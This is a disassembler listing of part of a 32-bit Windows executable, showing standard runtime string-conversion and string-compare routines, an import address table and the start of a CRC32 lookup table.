lea eax, [ebp+var_4]
push 1
push eax
push 1
lea eax, [ebp+arg_0]
push eax
push 100h
push ds:dword_4E29A4
call sub_429B7E
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_429B22
mov ax, [ebp+var_4]
locret_429B22: ; CODE XREF: sub_429AA3+79j
leave
retn
sub_429AA3 endp
; ---------------------------------------------------------------------------
dd 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429B30 proc near ; CODE XREF: sub_429A60+9j
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
mov al, 0FFh
mov edi, edi
loc_429B40: ; CODE XREF: sub_429B30+20j
; sub_429B30+40j
or al, al
jz short loc_429B76
mov al, [esi]
add esi, 1
mov ah, [edi]
add edi, 1
cmp ah, al
jz short loc_429B40
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_429B40
sbb al, al
sbb al, 0FFh
loc_429B76: ; CODE XREF: sub_429B30+12j
movsx eax, al
pop ebx
pop esi
pop edi
leave
retn
sub_429B30 endp
; =============== S U B R O U T I N E =======================================
sub_429B7E proc near ; CODE XREF: sub_429AA3+6Bp
push 24h
push offset dword_43A3B0
call sub_425F14
xor ebx, ebx
xor edi, edi
inc edi
cmp ds:dword_4E2B88, ebx
jnz short loc_429BCC
push ebx
push ebx
push edi
push offset dword_439C24
push 100h
push ebx
call ds:dword_42B170 ; LCMapStringW
test eax, eax
jz short loc_429BB7
mov ds:dword_4E2B88, edi
jmp short loc_429BCC
; ---------------------------------------------------------------------------
loc_429BB7: ; CODE XREF: sub_429B7E+2Fj
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_429BCC
mov ds:dword_4E2B88, 2
loc_429BCC: ; CODE XREF: sub_429B7E+17j
; sub_429B7E+37j ...
cmp [ebp+14h], ebx
jle short loc_429BEE
mov ecx, [ebp+14h]
mov eax, [ebp+10h]
loc_429BD7: ; CODE XREF: sub_429B7E+63j
dec ecx
cmp [eax], bx
jz short loc_429BE6
inc eax
inc eax
cmp ecx, ebx
jnz short loc_429BD7
or ecx, 0FFFFFFFFh
loc_429BE6: ; CODE XREF: sub_429B7E+5Dj
or eax, 0FFFFFFFFh
sub eax, ecx
add [ebp+14h], eax
loc_429BEE: ; CODE XREF: sub_429B7E+51j
mov eax, ds:dword_4E2B88
cmp eax, edi
jnz short loc_429C14
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_42B170 ; LCMapStringW
jmp loc_429DCE
; ---------------------------------------------------------------------------
loc_429C14: ; CODE XREF: sub_429B7E+77j
cmp eax, 2
jz short loc_429C1D
cmp eax, ebx
jnz short loc_429C71
loc_429C1D: ; CODE XREF: sub_429B7E+99j
mov [ebp-24h], ebx
mov [ebp-2Ch], ebx
mov [ebp-28h], ebx
cmp [ebp+8], ebx
jnz short loc_429C33
mov eax, ds:dword_4E29A4
mov [ebp+8], eax
loc_429C33: ; CODE XREF: sub_429B7E+ABj
cmp [ebp+20h], ebx
jnz short loc_429C40
mov eax, ds:dword_4E29B4
mov [ebp+20h], eax
loc_429C40: ; CODE XREF: sub_429B7E+B8j
push dword ptr [ebp+8]
call sub_4282DB
pop ecx
cmp [ebp+20h], eax
jz short loc_429C56
cmp eax, 0FFFFFFFFh
jz short loc_429C56
mov [ebp+20h], eax
loc_429C56: ; CODE XREF: sub_429B7E+CEj
; sub_429B7E+D3j
push ebx
push ebx
push ebx
push ebx
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
push dword ptr [ebp+20h]
call ds:dword_42B090 ; WideCharToMultiByte
mov [ebp-20h], eax
cmp eax, ebx
jnz short loc_429C78
loc_429C71: ; CODE XREF: sub_429B7E+9Dj
; sub_429B7E+141j
xor eax, eax
jmp loc_429DCE
; ---------------------------------------------------------------------------
loc_429C78: ; CODE XREF: sub_429B7E+F1j
mov [ebp-4], ebx
add eax, 3
and eax, 0FFFFFFFCh
call sub_41EA20
mov [ebp-18h], esp
mov eax, esp
mov [ebp-1Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_429CAC
; ---------------------------------------------------------------------------
dd 0C340C033h, 0E8E8658Bh, 0FFFFBDD2h, 5D89DB33h, 0FC4D83E4h
dd 47FF33FFh
; ---------------------------------------------------------------------------
loc_429CAC: ; CODE XREF: sub_429B7E+114j
cmp [ebp-1Ch], ebx
jnz short loc_429CC4
push dword ptr [ebp-20h]
call sub_41E5D3
pop ecx
mov [ebp-1Ch], eax
cmp eax, ebx
jz short loc_429C71
mov [ebp-2Ch], edi
loc_429CC4: ; CODE XREF: sub_429B7E+131j
push ebx
push ebx
push dword ptr [ebp-20h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
push dword ptr [ebp+20h]
call ds:dword_42B090 ; WideCharToMultiByte
test eax, eax
jz loc_429DAE
push ebx
push ebx
push dword ptr [ebp-20h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_42B174 ; LCMapStringA
mov esi, eax
mov [ebp-30h], esi
cmp esi, ebx
jz loc_429DAE
mov [ebp-4], edi
add eax, 3
and eax, 0FFFFFFFCh
call sub_41EA20
mov [ebp-18h], esp
mov edi, esp
mov [ebp-34h], edi
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_429D38
; ---------------------------------------------------------------------------
db 33h, 0C0h, 40h
dd 0E8658BC3h, 0FFBD45E8h, 33DB33FFh, 0FC4D83FFh, 0D0758BFFh
; ---------------------------------------------------------------------------
loc_429D38: ; CODE XREF: sub_429B7E+1A1j
cmp edi, ebx
jnz short loc_429D50
push esi
call sub_41E5D3
pop ecx
mov edi, eax
cmp edi, ebx
jz short loc_429DB1
mov dword ptr [ebp-28h], 1
loc_429D50: ; CODE XREF: sub_429B7E+1BCj
push esi
push edi
push dword ptr [ebp-20h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_42B174 ; LCMapStringA
test eax, eax
jz short loc_429DB1
test byte ptr [ebp+0Dh], 4
jz short loc_429D8D
mov [ebp-24h], esi
cmp [ebp+1Ch], ebx
jz short loc_429DB1
cmp [ebp+1Ch], esi
jge short loc_429D7E
mov esi, [ebp+1Ch]
loc_429D7E: ; CODE XREF: sub_429B7E+1FBj
push esi
push edi
push dword ptr [ebp+18h]
call sub_41E860
add esp, 0Ch
jmp short loc_429DB1
; ---------------------------------------------------------------------------
loc_429D8D: ; CODE XREF: sub_429B7E+1EEj
cmp [ebp+1Ch], ebx
jnz short loc_429D96
push ebx
push ebx
jmp short loc_429D9C
; ---------------------------------------------------------------------------
loc_429D96: ; CODE XREF: sub_429B7E+212j
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
loc_429D9C: ; CODE XREF: sub_429B7E+216j
push esi
push edi
push 1
push dword ptr [ebp+20h]
call ds:dword_42B07C ; MultiByteToWideChar
mov [ebp-24h], eax
jmp short loc_429DB1
; ---------------------------------------------------------------------------
loc_429DAE: ; CODE XREF: sub_429B7E+160j
; sub_429B7E+181j
mov edi, [ebp-34h]
loc_429DB1: ; CODE XREF: sub_429B7E+1C9j
; sub_429B7E+1E8j ...
cmp [ebp-28h], ebx
jz short loc_429DBD
push edi
call sub_41E2A1
pop ecx
loc_429DBD: ; CODE XREF: sub_429B7E+236j
cmp [ebp-2Ch], ebx
jz short loc_429DCB
push dword ptr [ebp-1Ch]
call sub_41E2A1
pop ecx
loc_429DCB: ; CODE XREF: sub_429B7E+242j
mov eax, [ebp-24h]
loc_429DCE: ; CODE XREF: sub_429B7E+91j
; sub_429B7E+F5j
lea esp, [ebp-40h]
call sub_425F4F
retn
sub_429B7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429DD7 proc near ; CODE XREF: sub_429AA3+3Dp
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_429E1F
cmp [ebp+arg_0], 100h
jnb short loc_429DFB
movzx eax, [ebp+arg_0]
mov ecx, ds:off_4437DC
mov ax, [ecx+eax*2]
jmp short loc_429E26
; ---------------------------------------------------------------------------
loc_429DFB: ; CODE XREF: sub_429DD7+12j
push ds:dword_4E29A4
lea eax, [ebp+var_4]
push ds:dword_4E29B4
push eax
push 1
lea eax, [ebp+arg_0]
push eax
push 1
call sub_429E31
add esp, 18h
test eax, eax
jnz short loc_429E23
loc_429E1F: ; CODE XREF: sub_429DD7+Aj
xor eax, eax
jmp short loc_429E26
; ---------------------------------------------------------------------------
loc_429E23: ; CODE XREF: sub_429DD7+46j
mov eax, [ebp+var_4]
loc_429E26: ; CODE XREF: sub_429DD7+22j
; sub_429DD7+4Aj
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_429DD7 endp
; =============== S U B R O U T I N E =======================================
sub_429E31 proc near ; CODE XREF: sub_429DD7+3Cp
push 24h
push offset dword_43A3C8
call sub_425F14
xor esi, esi
xor edi, edi
inc edi
cmp ds:dword_4E2B8C, esi
jnz short loc_429E7C
lea eax, [ebp-1Ch]
push eax
push edi
push offset dword_439C24
push edi
call ds:dword_42B14C ; GetStringTypeW
test eax, eax
jz short loc_429E67
mov ds:dword_4E2B8C, edi
jmp short loc_429E7C
; ---------------------------------------------------------------------------
loc_429E67: ; CODE XREF: sub_429E31+2Cj
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_429E7C
mov ds:dword_4E2B8C, 2
loc_429E7C: ; CODE XREF: sub_429E31+17j
; sub_429E31+34j ...
mov eax, ds:dword_4E2B8C
cmp eax, edi
jnz short loc_429E9C
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_42B14C ; GetStringTypeW
jmp loc_42A04D
; ---------------------------------------------------------------------------
loc_429E9C: ; CODE XREF: sub_429E31+52j
cmp eax, 2
jz short loc_429EA5
cmp eax, esi
jnz short loc_429EF8
loc_429EA5: ; CODE XREF: sub_429E31+6Ej
mov [ebp-30h], esi
mov [ebp-2Ch], esi
cmp [ebp+1Ch], esi
jnz short loc_429EB8
mov eax, ds:dword_4E29A4
mov [ebp+1Ch], eax
loc_429EB8: ; CODE XREF: sub_429E31+7Dj
cmp [ebp+18h], esi
jnz short loc_429EC5
mov eax, ds:dword_4E29B4
mov [ebp+18h], eax
loc_429EC5: ; CODE XREF: sub_429E31+8Aj
push dword ptr [ebp+1Ch]
call sub_4282DB
pop ecx
cmp [ebp+18h], eax
jz short loc_429EDB
cmp eax, 0FFFFFFFFh
jz short loc_429EDB
mov [ebp+18h], eax
loc_429EDB: ; CODE XREF: sub_429E31+A0j
; sub_429E31+A5j
push esi
push esi
push esi
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
push dword ptr [ebp+18h]
call ds:dword_42B090 ; WideCharToMultiByte
mov ebx, eax
mov [ebp-28h], ebx
cmp ebx, esi
jnz short loc_429EFF
loc_429EF8: ; CODE XREF: sub_429E31+72j
; sub_429E31+126j
xor eax, eax
jmp loc_42A04D
; ---------------------------------------------------------------------------
loc_429EFF: ; CODE XREF: sub_429E31+C5j
mov [ebp-4], esi
mov eax, ebx
add eax, 3
and eax, 0FFFFFFFCh
call sub_41EA20
mov [ebp-18h], esp
mov eax, esp
mov [ebp-24h], eax
push ebx
push esi
push eax
call sub_41E5F0
add esp, 0Ch
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_429F44
; ---------------------------------------------------------------------------
dd 0C340C033h, 0E8E8658Bh, 0FFFFBB3Eh, 0DC6583h, 0FFFC4D83h
dd 8B47FF33h, 0F633D85Dh
; ---------------------------------------------------------------------------
loc_429F44: ; CODE XREF: sub_429E31+F5j
cmp [ebp-24h], esi
jnz short loc_429F5C
push ebx
push edi
call sub_4205E4
pop ecx
pop ecx
mov [ebp-24h], eax
cmp eax, esi
jz short loc_429EF8
mov [ebp-30h], edi
loc_429F5C: ; CODE XREF: sub_429E31+116j
push esi
push esi
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
push dword ptr [ebp+18h]
call ds:dword_42B090 ; WideCharToMultiByte
test eax, eax
jz loc_42A03C
mov [ebp-4], edi
lea eax, [ebx+ebx+2]
add eax, 3
and eax, 0FFFFFFFCh
call sub_41EA20
mov [ebp-18h], esp
mov eax, esp
mov [ebp-20h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_429FB6
; ---------------------------------------------------------------------------
dw 0C033h
dd 658BC340h, 0BACCE8E8h, 6583FFFFh, 4D8300E0h, 0FF33FFFCh
dd 0D85D8B47h
db 33h, 0F6h
; ---------------------------------------------------------------------------
loc_429FB6: ; CODE XREF: sub_429E31+167j
cmp [ebp-20h], esi
jnz short loc_429FD0
lea eax, [ebx+ebx+2]
push eax
call sub_41E5D3
pop ecx
mov [ebp-20h], eax
cmp eax, esi
jz short loc_42A03C
mov [ebp-2Ch], edi
loc_429FD0: ; CODE XREF: sub_429E31+188j
cmp [ebp+1Ch], esi
jnz short loc_429FDD
mov eax, ds:dword_4E29A4
mov [ebp+1Ch], eax
loc_429FDD: ; CODE XREF: sub_429E31+1A2j
mov edi, [ebp+10h]
add edi, edi
mov eax, [ebp-20h]
lea esi, [edi+eax]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push eax
push ebx
push dword ptr [ebp-24h]
push dword ptr [ebp+8]
push dword ptr [ebp+1Ch]
call ds:dword_42B150 ; GetStringTypeA
mov [ebp-34h], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_42A027
cmp word ptr [esi], 0FFFFh
jnz short loc_42A027
push edi
push dword ptr [ebp-20h]
push dword ptr [ebp+14h]
call sub_41F980
add esp, 0Ch
jmp short loc_42A02B
; ---------------------------------------------------------------------------
loc_42A027: ; CODE XREF: sub_429E31+1DCj
; sub_429E31+1E3j
and dword ptr [ebp-34h], 0
loc_42A02B: ; CODE XREF: sub_429E31+1F4j
cmp dword ptr [ebp-2Ch], 0
jz short loc_42A03A
push dword ptr [ebp-20h]
call sub_41E2A1
pop ecx
loc_42A03A: ; CODE XREF: sub_429E31+1FEj
xor esi, esi
loc_42A03C: ; CODE XREF: sub_429E31+143j
; sub_429E31+19Aj
cmp [ebp-30h], esi
jz short loc_42A04A
push dword ptr [ebp-24h]
call sub_41E2A1
pop ecx
loc_42A04A: ; CODE XREF: sub_429E31+20Ej
mov eax, [ebp-34h]
loc_42A04D: ; CODE XREF: sub_429E31+66j
; sub_429E31+C9j
lea esp, [ebp-40h]
call sub_425F4F
retn
sub_429E31 endp
; ---------------------------------------------------------------------------
a0jc db '¸0¦C',0 ; DATA XREF: sub_40F024o
db 0E9h
dd 0FFFF5EE9h, 0E9C84D8Dh, 0FFFE4FB2h
aTjc db '¸T¦C',0 ; DATA XREF: sub_40F47Ao
db 0E9h, 0D7h, 5Eh
dword_42A070 dd 4D8DFFFFh, 4FA0E914h, 4D8DFFFEh, 4F98E9D8h ; DATA XREF: seg001:0043A67Co
db 0FEh, 0FFh
aAjc db '¸€¦C',0 ; DATA XREF: sub_40F5F6o
db 0E9h
dd 0FFFF5EBDh, 4E1F08A1h, 0FEE08300h, 4E1F08A3h
db 0, 0C3h
aDjc db '¸¤¦C',0 ; DATA XREF: sub_41B802o
db 0E9h
dd 0FFFF5EA5h, 0E9F04D8Bh, 0FFFFF975h
aDzc db '¸„§C',0 ; DATA XREF: sub_429712o sub_429823o
db 0E9h, 93h, 5Eh
dd 4D8DFFFFh, 4F5CE9D8h
db 0FEh, 0FFh
aFzc db '¸ä§C',0 ; DATA XREF: sub_4297E3o sub_42987Eo
db 0E9h
dword_42A0C4 dd 0FFFF5E81h, 0FFFF68h, 5396800h, 4EE80000h, 59FFFF12h
; DATA XREF: seg002:0043C008o
dd 1FE4A359h, 68C3004Dh, 0FFFEh, 40068h, 1237E800h, 5959FFFFh
dd 4D525CA3h, 0C300h, 3C2h dup(0)
seg000 ends
; Section 2. (virtual address 0002B000)
; Virtual size : 00011000 ( 69632.)
; Section size in file : 00011000 ( 69632.)
; Offset to raw data for section: 0002B000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
seg001 segment para public 'DATA' use32
assume cs:seg001
;org 42B000h
dword_42B000 dd 77E75CB5h ; DATA XREF: seg000:004011EEr
; sub_40274D+2D16r ...
dword_42B004 dd 77E77963h ; DATA XREF: seg000:004011C7r
; sub_40A263+2C5r ...
dword_42B008 dd 77E61BB8h ; DATA XREF: seg000:004011B6r
; sub_40274D+6651r ...
dword_42B00C dd 77E7A099h ; DATA XREF: seg000:00401192r
; sub_40274D+1E67r ...
dword_42B010 dd 77E704FCh ; DATA XREF: seg000:00401183r
; sub_40274D+1FADr ...
dword_42B014 dd 77E61BE6h ; DATA XREF: seg000:00401138r
; sub_40123B+93r ...
dword_42B018 dd 77E805D8h ; DATA XREF: sub_4012D6+13Ar
; sub_4012D6:loc_4017E4r ...
dword_42B01C dd 77F5157Dh ; DATA XREF: sub_4012D6:loc_4013F6r
; sub_4012D6:loc_401520r ...
dword_42B020 dd 77E7A5FDh ; DATA XREF: sub_4012D6+11r
; sub_41B24B+4Dr ...
dword_42B024 dd 77E79F93h ; DATA XREF: sub_4012D6+2r
; sub_40A263+CFr ...
dword_42B028 dd 77E75CEBh ; DATA XREF: sub_40274D+7721r
; sub_40AF6E+27r ...
dword_42B02C dd 77E73628h ; DATA XREF: sub_40274D+7493r
; sub_40A263+325r ...
dword_42B030 dd 77E6AD34h ; DATA XREF: sub_40274D+6697r
; sub_41AEDD+35r
dword_42B034 dd 77E71AFEh ; DATA XREF: sub_40274D+6484r
dword_42B038 dd 77E7751Ah ; DATA XREF: sub_40274D+236Dr
; sub_40274D+2F80r ...
dword_42B03C dd 77E7AC37h ; DATA XREF: sub_40274D+705r
; sub_40274D+93Br ...
dword_42B040 dd 77E706B7h ; DATA XREF: sub_40A263+25Er
; seg000:00419BA1r ...
dword_42B044 dd 77E80656h ; DATA XREF: sub_40A263+251r
; seg000:00426F81r
dword_42B048 dd 77E6BD13h ; DATA XREF: sub_40A263:loc_40A417r
; sub_40FDC3+E1r ...
dword_42B04C dd 77E70396h ; DATA XREF: sub_40A263+1AEr
; sub_40A263+20Br ...
dword_42B050 dd 77E74CABh ; DATA XREF: sub_40A263+197r
; seg000:00412C39r ...
dword_42B054 dd 77E79D5Bh ; DATA XREF: sub_40A263+6Br
; sub_40A263+2FBr ...
dword_42B058 dd 77E7C2C4h ; DATA XREF: sub_40A263+64r
dword_42B05C dd 77E65F4Ch ; DATA XREF: seg000:0040A93Br
; sub_41BE8A+34r
dword_42B060 dd 77E7513Ch ; DATA XREF: seg000:0040A9A8r
; sub_4282DB+20r
dword_42B064 dd 77E7C657h ; DATA XREF: sub_41B065+32r
; sub_41B24B+16r ...
dword_42B068 dd 77E73C49h ; DATA XREF: seg000:004133D1r
; seg000:0041347Cr ...
dd 77F7E300h, 77F7E21Fh, 77E7C706h, 77F53275h
dword_42B07C dd 77E77CCEh ; DATA XREF: sub_40C89B+61r
; sub_40C979+61r ...
dword_42B080 dd 77E78B82h ; DATA XREF: seg000:0040CD7Cr
; seg000:0041152Fr ...
dword_42B084 dd 77E79D8Ch ; DATA XREF: seg000:0040CD47r
; seg000:0041063Fr ...
dword_42B088 dd 77E73EACh ; DATA XREF: seg000:0040CD2Dr
; seg000:00410623r
dword_42B08C dd 77E7A837h ; DATA XREF: seg000:0040CCAFr
; seg000:004105EBr ...
dword_42B090 dd 77E79924h ; DATA XREF: sub_40F87A+A9r
; seg000:004101BEr ...
dword_42B094 dd 77E616B4h ; DATA XREF: seg000:004116EDr
; seg000:0041416Fr ...
dword_42B098 dd 77E79CE3h ; DATA XREF: seg000:00411666r
; sub_413CD4+73r ...
dword_42B09C dd 77E79C90h ; DATA XREF: seg000:00411652r
; seg000:0041165Fr ...
dword_42B0A0 dd 77E7727Ah ; DATA XREF: seg000:004115C9r
; sub_413F5A+48r ...
dword_42B0A4 dd 77E78EAAh ; DATA XREF: sub_412135+5EDr
; sub_419799+C0r ...
dword_42B0A8 dd 77E79424h ; DATA XREF: sub_412135+27Ar
; seg000:00419CB9r
dword_42B0AC dd 77E794BFh ; DATA XREF: sub_412135+26Cr
; seg000:00419CA7r
dword_42B0B0 dd 77E75E67h ; DATA XREF: sub_412135+20Cr
; sub_412135+5DCr ...
dword_42B0B4 dd 77E75D9Eh ; DATA XREF: sub_412135+1FBr
; sub_419799+26r
dword_42B0B8 dd 77E78C81h ; DATA XREF: seg000:00412822r
; sub_42569D+43r ...
dword_42B0BC dd 77E793EFh ; DATA XREF: seg000:004127EEr
; seg000:00412D17r
dword_42B0C0 dd 77E64106h ; DATA XREF: sub_41D779+185r
dword_42B0C4 dd 77E64006h ; DATA XREF: sub_41D779+16Er
dd 77E76968h, 77EC7C51h
dword_42B0D0 dd 77E74C59h ; DATA XREF: seg000:00414121r
dword_42B0D4 dd 77E70F89h ; DATA XREF: seg000:00414B2Ar
; sub_417D70+Dr
dword_42B0D8 dd 77E802FCh ; DATA XREF: sub_415825+188r
; sub_415825+1FAr ...
dword_42B0DC dd 77E6D75Bh ; DATA XREF: sub_415825+17Er
; sub_4164A9+FBr
dword_42B0E0 dd 77F51597h ; DATA XREF: seg000:00419D11r
; seg000:00419DEFr ...
dword_42B0E4 dd 77F516F8h ; DATA XREF: seg000:00419BD6r
; seg000:00419D9Fr ...
dword_42B0E8 dd 77E77CB7h ; DATA XREF: seg000:00419BCCr
; seg000:00419D6Dr ...
dword_42B0EC dd 77E7F01Ah ; DATA XREF: seg000:00419C14r
; seg000:00419D7Dr
dword_42B0F0 dd 77E61A54h ; DATA XREF: seg000:00419BDFr
; seg000:00419DB7r
dword_42B0F4 dd 77E7C3A5h ; DATA XREF: seg000:00419BC0r
; seg000:00419D56r ...
dword_42B0F8 dd 77E80618h ; DATA XREF: sub_41B24B+B6r
dd 77E78147h
dword_42B100 dd 77E76A60h ; DATA XREF: sub_41ACD0+2Dr
dword_42B104 dd 77E71B14h ; DATA XREF: sub_41AD5A+26r
dword_42B108 dd 77E7166Fh ; DATA XREF: sub_41AD5A+1Dr
dword_42B10C dd 77E75090h ; DATA XREF: sub_41AD95+69r
dword_42B110 dd 77E74D76h ; DATA XREF: sub_41AD95+36r
dword_42B114 dd 77E77797h ; DATA XREF: sub_41AD95+25r
dword_42B118 dd 77E7011Ah ; DATA XREF: sub_41AE17+96r
dword_42B11C dd 77E73CE2h ; DATA XREF: sub_41AE17+60r
dword_42B120 dd 77E668D9h ; DATA XREF: sub_41AEDD+15Dr
dword_42B124 dd 77E76A2Eh ; DATA XREF: sub_41C444+D5r
dword_42B128 dd 77E7FF65h ; DATA XREF: seg000:0041C8B7r
dword_42B12C dd 77EB7624h ; DATA XREF: seg000:0041C89Dr
dword_42B130 dd 77E6C29Dh ; DATA XREF: seg000:0041D09Br
dword_42B134 dd 77E76C1Ah ; DATA XREF: sub_41D779+19Er
dword_42B138 dd 77E775F1h ; DATA XREF: sub_4284E7+131r
; sub_4284E7+196r ...
dword_42B13C dd 77E7176Ch ; DATA XREF: sub_42820C+8r
dword_42B140 dd 77E7339Ch ; DATA XREF: sub_4281D4+Cr
dword_42B144 dd 77F522F2h ; DATA XREF: sub_427108+30r
dword_42B148 dd 77E77CC4h ; DATA XREF: seg000:00426F89r
dword_42B14C dd 77E7C866h ; DATA XREF: sub_426DA0+24r
; sub_426DA0+128r ...
dword_42B150 dd 77E641EBh ; DATA XREF: sub_426DA0+19Cr
; sub_429E31+1CDr
dd 77E73FF9h
dword_42B158 dd 77E7FF2Eh ; DATA XREF: sub_42687B:loc_4268CBr
; sub_4268F2:loc_426945r
dword_42B15C dd 77E77EE1h ; DATA XREF: sub_4266BC+Br
dword_42B160 dd 77E7C9E1h ; DATA XREF: sub_4266BC+C1r
dword_42B164 dd 77E67702h ; DATA XREF: sub_4266BC:loc_426793r
dword_42B168 dd 77E9C5B1h ; DATA XREF: sub_4266BC+113r
dword_42B16C dd 77EB9A84h ; DATA XREF: seg000:00426380r
dword_42B170 dd 77E781F9h ; DATA XREF: sub_425B55+27r
; sub_425B55+15Br ...
dword_42B174 dd 77E77405h ; DATA XREF: sub_425B55+2C3r
; sub_425B55+344r ...
dword_42B178 dd 77E7F044h ; DATA XREF: seg000:00425A8Cr
; seg000:00425AE3r ...
dword_42B17C dd 77E6169Ah ; DATA XREF: seg000:00425B47r
dd 77E7C9E7h
dword_42B184 dd 77E78406h ; DATA XREF: sub_42418E+FEr
; sub_42418E+165r ...
dword_42B188 dd 77E79C3Dh ; DATA XREF: sub_42418E+157r
; sub_426069+14Er
dword_42B18C dd 77E7C931h ; DATA XREF: sub_42418E+19Cr
dword_42B190 dd 77E7849Fh ; DATA XREF: sub_422D8A+1Cr
; sub_422F16+93r ...
dword_42B194 dd 77F5722Fh ; DATA XREF: sub_41E3C2+FDr
; sub_41E3C2+13Dr ...
dword_42B198 dd 77E6167Bh ; DATA XREF: sub_41F87E+9r
; seg000:00426F75r
dword_42B19C dd 77F6183Eh ; DATA XREF: sub_4298DCr
dword_42B1A0 dd 77E6D706h ; DATA XREF: sub_420383+2Er
; sub_427277+1F5r
dword_42B1A4 dd 77E6177Ah ; DATA XREF: start-C3193r
; sub_42418E+57r
dword_42B1A8 dd 77E7C938h ; DATA XREF: start:loc_420E19r
dword_42B1AC dd 77E76E0Bh ; DATA XREF: sub_4210EF+44r
dword_42B1B0 dd 77E7C726h ; DATA XREF: sub_4210EF+11r
dword_42B1B4 dd 77E79E34h ; DATA XREF: sub_4211B3+22Fr
dword_42B1B8 dd 77E7980Ah ; DATA XREF: sub_4214CB+7Er
; sub_421582+52r ...
dword_42B1BC dd 77E73196h ; DATA XREF: sub_4281F0+Cr
dword_42B1C0 dd 77E7A13Fh ; DATA XREF: sub_422F16+42r
dword_42B1C4 dd 77E6C703h ; DATA XREF: sub_422F16+2Br
dword_42B1C8 dd 77E70192h ; DATA XREF: sub_42884D+104r
align 10h
dword_42B1D0 dd 71AB5A01h ; DATA XREF: sub_41776E+22r
dword_42B1D4 dd 71AB4122h ; DATA XREF: sub_417688+CDr
dd 71AB1746h, 71AB401Ch, 71AB3F8Dh
dword_42B1E4 dd 71AB155Ah ; DATA XREF: sub_416311+6Er
; sub_417688+39r
dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh
dword_42B1F4 dd 71AB3E5Dh ; DATA XREF: seg000:00411A57r
; sub_416311+88r ...
dword_42B1F8 dd 71AB1A6Dh ; DATA XREF: seg000:00411A68r
; seg000:00411B05r ...
dword_42B1FC dd 71AB1836h ; DATA XREF: seg000:00411A6Er
; seg000:00411B0Br
dword_42B200 dd 71AB1746h ; DATA XREF: seg000:00411A41r
; sub_416F65+1C7r
dword_42B204 dd 71AB41DAh ; DATA XREF: seg000:004106DFr
; seg000:00411A15r
dword_42B208 dd 71AB5690h ; DATA XREF: seg000:0040FC17r
dword_42B20C dd 71AB3C22h ; DATA XREF: seg000:0040F780r
; seg000:00411A21r ...
dword_42B210 dd 71AB1AF4h ; DATA XREF: sub_40EE6B+12r
; seg000:00411AE3r
dword_42B214 dd 71AB1B7Bh ; DATA XREF: sub_4298D6r
dword_42B218 dd 71AB12F8h ; DATA XREF: seg000:0040D16Br
; seg000:00411A35r ...
dword_42B21C dd 71AB1890h ; DATA XREF: seg000:0040D6E3r
; sub_40ECCD+4Cr
dword_42B220 dd 71AB157Eh ; DATA XREF: sub_40274D+2D73r
dd 4 dup(0)
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
